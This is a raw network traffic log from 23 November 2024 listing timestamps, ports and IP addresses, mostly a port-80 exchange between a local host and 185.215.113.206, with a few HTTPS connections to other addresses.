Nov 23, 2024 21:59:40.767627001 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.778095961 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.778135061 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:40.778218985 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.782736063 CET	49871	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:40.782772064 CET	443	49871	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:41.004455090 CET	443	49863	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:41.005223989 CET	49863	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:41.005242109 CET	443	49863	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:41.005898952 CET	49863	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:41.005904913 CET	443	49863	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:41.087263107 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.087337017 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.087414026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.087465048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.087547064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.087599039 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.087671995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.087718964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.088624954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.088686943 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.088799953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.088951111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.089659929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.089725971 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.089768887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.089831114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.090730906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.090774059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.090799093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.090814114 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.091783047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.091861963 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.091892958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.091939926 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.092871904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.092927933 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.093009949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.093063116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.093895912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.093944073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.093988895 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.094034910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.094930887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.095061064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.095114946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.095927954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.096007109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.096126080 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.096179962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.097002983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.097037077 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.097059011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.097074986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.098058939 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.098195076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.098258972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.098308086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.099071026 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.099128962 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.099227905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.099276066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.100100994 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.100155115 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.100179911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.100223064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.101136923 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.101180077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.101258993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.101295948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.102205038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.102250099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.102260113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.102298975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.103244066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.103291035 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.216731071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.216811895 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.216816902 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.217058897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.217252016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.217317104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.217427969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.217483997 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.218311071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.218357086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.218414068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.218465090 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.219057083 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.219110012 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.219455004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.219504118 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.220079899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.220127106 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.220257044 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.220309973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.221112013 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.221369982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.221507072 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.221587896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.222203016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.222251892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.222446918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.222490072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.223234892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.223284960 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.223407984 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.223453045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.224272966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.224318981 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.225178003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.225228071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.225373030 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.225388050 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.225416899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.225435972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.226432085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.226480007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.226505041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.226560116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.227415085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.227461100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.227529049 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.227570057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.228513002 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.228566885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.228604078 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.228641987 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.229535103 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.229585886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.229851007 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.229978085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.230578899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.231090069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.231244087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.231288910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.231678963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.231720924 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.231990099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.232043982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.232688904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.232703924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.232757092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.233717918 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.233764887 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.234776020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.234791040 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.234828949 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.234850883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.234860897 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.234874010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.235829115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.235897064 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.236027956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.236079931 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.236937046 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.237196922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.237253904 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.237924099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.237978935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.238197088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.238378048 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.238977909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.239025116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.239154100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.239202023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.240008116 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.240077972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.240312099 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.240457058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.241061926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.241122961 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.241131067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.241159916 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.242117882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.242259026 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.242453098 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.242495060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.243185997 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.243232965 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.243294954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.243338108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.244220972 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.244271040 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.244800091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.244852066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.245263100 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.245277882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.245306015 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.245320082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.246298075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.246335030 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.246746063 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.246929884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.247384071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.247433901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.247443914 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.247931004 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.248414993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.248481989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.249176979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.249226093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.249396086 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.249432087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.347199917 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.347280979 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.347481966 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.347532988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.347676039 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.347716093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.347721100 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.347755909 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.348686934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.348843098 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.348922014 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.349001884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.349040985 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.349093914 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.349535942 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.349612951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.350234032 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.350303888 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.350614071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.350630045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.350682974 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.351665020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.351717949 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.352092028 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.352164984 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.352725983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.352781057 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.353037119 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.353091955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.353739977 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.353871107 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.354172945 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.354226112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.354815006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.354860067 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.355084896 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.355376005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.355839968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.355895042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.356307983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.356354952 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.356857061 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.356901884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.356971979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.357330084 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.357916117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.357971907 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.358447075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.358500957 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.358999968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.359160900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.359411001 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.359457970 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.360007048 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.360110998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.360327005 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.360378027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.361063004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.361116886 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.361522913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.361567020 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.362128019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.362202883 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.362356901 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.362412930 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.363171101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.363279104 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.363328934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.363373041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.364209890 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.364259005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.364418983 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.364461899 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.365267038 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.365304947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.365509987 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.365736008 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.366326094 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.366342068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.366388083 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.366408110 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.367407084 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.367464066 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.367547989 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.367712021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.368398905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.368459940 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.368522882 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.368695021 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.369545937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.369570971 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.369591951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.369621038 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.370531082 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.370593071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.371067047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.371123075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.378575087 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:41.379148006 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:41.379158974 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:41.380188942 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:41.380299091 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:41.381835938 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:41.381900072 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:41.382117033 CET	49866	443	192.168.2.6	23.209.72.33
Nov 23, 2024 21:59:41.382122993 CET	443	49866	23.209.72.33	192.168.2.6
Nov 23, 2024 21:59:41.443897963 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.443960905 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.444022894 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.444363117 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.444415092 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.444490910 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.444714069 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.445151091 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.445221901 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.445591927 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.446171045 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.446181059 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.446228027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.446482897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.446551085 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.447227955 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.447304010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.447390079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.447442055 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.448287010 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.448348999 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.449007988 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.449419975 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.449461937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.449477911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.449518919 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.450969934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.451061964 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:41.451411009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:41.451426983 CET	80	49809	185.215.113.206	192.168.2.6
